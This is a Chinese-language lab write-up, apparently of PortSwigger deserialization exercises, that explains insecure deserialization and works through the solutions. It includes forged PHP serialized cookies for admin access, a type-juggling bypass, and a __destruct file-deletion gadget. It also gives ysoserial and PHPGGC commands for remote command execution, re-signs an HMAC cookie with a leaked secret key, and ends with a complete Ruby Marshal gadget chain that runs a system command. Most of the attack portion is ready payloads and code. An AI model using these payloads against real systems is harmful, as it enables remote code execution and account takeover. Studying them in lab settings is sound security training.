反序列化漏洞是指攻击者通过在应用程序中注入恶意的序列化对象来利用应用程序的反序列化功能,从而导致应用程序受到攻击的漏洞。
在一些编程语言和应用程序中,对象可以被序列化为一些字节流或字符串,然后在不同的应用程序之间传输。当这些对象被接收时,它们需要进行反序列化以恢复原始对象。攻击者可以利用这种反序列化过程来注入恶意的代码和数据,从而导致应用程序执行恶意操作,例如远程命令执行、文件读写、数据库操作等。
反序列化漏洞通常出现在使用序列化/反序列化来实现持久性、远程过程调用 (RPC) 或消息传递等功能的应用程序中。
(1)通过Burp Suite Scanner 发现cookie处存在漏洞
(2)通过url解码获得base64编码
(3)通过base64解码获得序列化对象
(4) 构架经过base64-url编码的carlos cookie
wiener解码后的cookie :
O:4:"User":2:{s:8:"username";s:6:"wiener";s:5:"admin";b:0;}
经过构架的carloscookie :
O:4:"User":2:{s:8:"username";s:6:"carlos";s:5:"admin";b:1;}
base64-url编码的carlos cookie:
Tzo0OiJVc2VyIjoyOntzOjg6InVzZXJuYW1lIjtzOjY6ImNhcmxvcyI7czo1OiJhZG1pbiI7YjoxO30%3D
利用原理:PHP 将根据初始数字有效地将整个字符串转换为整数值,例如:
5 == "5 of something" 等于 5 == 5
0 == "Example string" 等于 0 == 0
利用过程:修改序列化对象
O:4:"User":2:{s:8:"username";s:13:"administrator";s:12:"access_token";i:0;}
原理:在删除用户时发生越权,可以删除其他用户下的文件。
O:4:"User":3:s:8:"username";s:6:"wiener";s:12:"access_token";s:32:"sxxmaz8mlqg8aod8ogehb71i6b6unko4";s:11:"avatar_link";s:23:"/home/carlos/morale.txt";}
原理:PHP源码中存在可利用的魔法方法,反序列化时会检查该类里是否包含魔术方法,存在会首先调用该方法,本实验代码如下:
template_file_path = $template_file_path;
$this->lock_file_path = $template_file_path . ".lock";
}
private function isTemplateLocked() {
return file_exists($this->lock_file_path);
}
public function getTemplate() {
return file_get_contents($this->template_file_path);
}
public function saveTemplate($template) {
if (!isTemplateLocked()) {
if (file_put_contents($this->lock_file_path, "") === false) {
throw new Exception("Could not write to " . $this->lock_file_path);
}
if (file_put_contents($this->template_file_path, $template) === false) {
throw new Exception("Could not write to " . $this->template_file_path);
}
}
}
function __destruct() {
// Carlos thought this would be a good idea
if (file_exists($this->lock_file_path)) {
unlink($this->lock_file_path);
}
}
}
?>
注意:
protected 属性被序列化的时候属性值会变成 %00*%00属性名;
private 属性被序列化的时候属性值会变成 %00类名%00属性名;(%00为空白符,空字符也有长度,一个空字符长度为 1)。
//PHP常见的魔术方法
__construct() 当对象创建(new)时会自动调用。但在 unserialize() 时是不会自动调用的。
__destruct() 当一个对象销毁(反序列化)时被调用
__toString() 当一个对象被当作一个字符串使用时被调用
__sleep() 在对象在被序列化之前立即运行
__wakeup() 将在序列化之后立即被调用
开始构造系列化代码:
O:14:"CustomTemplate":1:{s:14:"lock_file_path";s:23:"/home/carlos/morale.txt";}
原理:Apache Commons Collections 存在反序列化任意命令执行漏洞。
ysoserial是一款用于生成利用不安全的Java对象反序列化的有效负载的概念验证工具。
项目地址:https://github.com/frohoff/ysoserial
java -jar path/to/ysoserial.jar CommonsCollections4 "rm /home/carlos/morale.txt" > 1.txt
certutil -f -encode 1.txt 2.txt
1、查看cookie发现存在经过base64编码的反序列化对象,并且使用hmac_sha1进行了校验,尝试修改系列化对象发现报错信息中包含Symfony 4.3.6框架。
session=%7B%22token%22%3A%22Tzo0OiJVc2VyIjoyOntzOjg6InVzZXJuYW1lIjtzOjY6IndpZW5lciI7czoxMjoiYWNjZXNzX3Rva2VuIjtzOjMyOiJsM3I4aXRpNnN2ZTUyenNta3hhM2U1MjJnYmcxc3V4YyI7fQ%3D%3D%22%2C%22sig_hmac_sha1%22%3A%222d81e9388a0c0ef70ddbafbd86902f67823f3b7a%22%7D
2、通过目录遍历发现存在/cgi-bin/phpinfo.php,查看phpinfo信息找到SECRET_KEY= v90b1p0gsd9o49y5xxjlrwhg9ihc00ma
3、使用“PHPGGC”工具对Symfony 4进行构造,并进行base54。
./phpggc Symfony/RCE4 exec "rm /home/carlos/morale.txt" -b
4、编写代码,重新构造cookie。
# 2.php
# 运行结果
C:\Users\>php 2.php
%7B%22token%22%3A%22Tzo0NzoiU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxUYWdBd2FyZUFkYXB0ZXIiOjI6e3M6NTc6IgBTeW1mb255XENvbXBvbmVudFxDYWNoZVxBZGFwdGVyXFRhZ0F3YXJlQWRhcHRlcgBkZWZlcnJlZCI7YToxOntpOjA7TzozMzoiU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQ2FjaGVJdGVtIjoyOntzOjExOiIAKgBwb29sSGFzaCI7aToxO3M6MTI6IgAqAGlubmVySXRlbSI7czoyNjoicm0gL2hvbWUvY2FybG9zL21vcmFsZS50eHQiO319czo1MzoiAFN5bWZvbnlcQ29tcG9uZW50XENhY2hlXEFkYXB0ZXJcVGFnQXdhcmVBZGFwdGVyAHBvb2wiO086NDQ6IlN5bWZvbnlcQ29tcG9uZW50XENhY2hlXEFkYXB0ZXJcUHJveHlBZGFwdGVyIjoyOntzOjU0OiIAU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxQcm94eUFkYXB0ZXIAcG9vbEhhc2giO2k6MTtzOjU4OiIAU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxQcm94eUFkYXB0ZXIAc2V0SW5uZXJJdGVtIjtzOjQ6ImV4ZWMiO319%22%2C%22sig_hmac_sha1%22%3A%22a1e876a95939a139df0f176ce58a50a0ad49c084%22%7D
# Autoload the required classes
Gem::SpecFetcher
Gem::Installer
# prevent the payload from running when we Marshal.dump it
module Gem
class Requirement
def marshal_dump
[@requirements]
end
end
end
wa1 = Net::WriteAdapter.new(Kernel, :system)
rs = Gem::RequestSet.allocate
rs.instance_variable_set('@sets', wa1)
rs.instance_variable_set('@git_set', "rm /home/carlos/morale.txt")
wa2 = Net::WriteAdapter.new(rs, :resolve)
i = Gem::Package::TarReader::Entry.allocate
i.instance_variable_set('@read', 0)
i.instance_variable_set('@header', "aaa")
n = Net::BufferedIO.allocate
n.instance_variable_set('@io', i)
n.instance_variable_set('@debug_output', wa2)
t = Gem::Package::TarReader.allocate
t.instance_variable_set('@io', n)
r = Gem::Requirement.allocate
r.instance_variable_set('@requirements', t)
payload = Marshal.dump([Gem::SpecFetcher, Gem::Installer, r])
puts Base64.encode64(payload)